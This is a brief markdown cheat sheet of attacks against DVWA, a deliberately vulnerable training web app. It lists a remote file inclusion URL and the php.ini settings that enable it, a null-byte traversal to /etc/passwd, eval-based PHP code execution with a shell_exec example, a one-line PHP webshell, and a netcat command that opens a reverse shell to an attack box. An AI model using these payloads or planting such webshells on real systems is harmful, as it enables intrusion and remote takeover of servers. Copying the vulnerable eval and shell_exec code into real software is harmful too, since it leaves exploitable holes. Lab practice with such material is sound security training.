DVWA vulnerabilities cheatsheet

dvwaCheatsheet.md

Remote file inclusion

URL: /dvwa/vulnerabilities/fi/?page= [YOUR REMOTE URL]

Condition in /etc/php5/cgi/php.ini:

allow_url_fopen = On
allow_url_include = On

Sometimes you need the NULL-Terminator (%00):

http://website/page=../../../etc/passwd%00

Remote Code Execution

URL: /rce.php?code=[PHP CODE HERE]

Vulnerable Code:

<?php 
$code = $_GET['code'];
eval($code); 
?>

Example:

/rce.php?code=echo shell_exec('/sbin/ifconfig eth0');

Webshells

Use Case:

access to Wordpress Backend to code execution

Vulnerable Code:

<?php
echo shell_exec($_GET['cmd']); 
?>

URL:

/webshell.php?cmd=[COMMAND HERE]

Example:

/?cmd=nc [IP attack box] [port] -e /bin/sh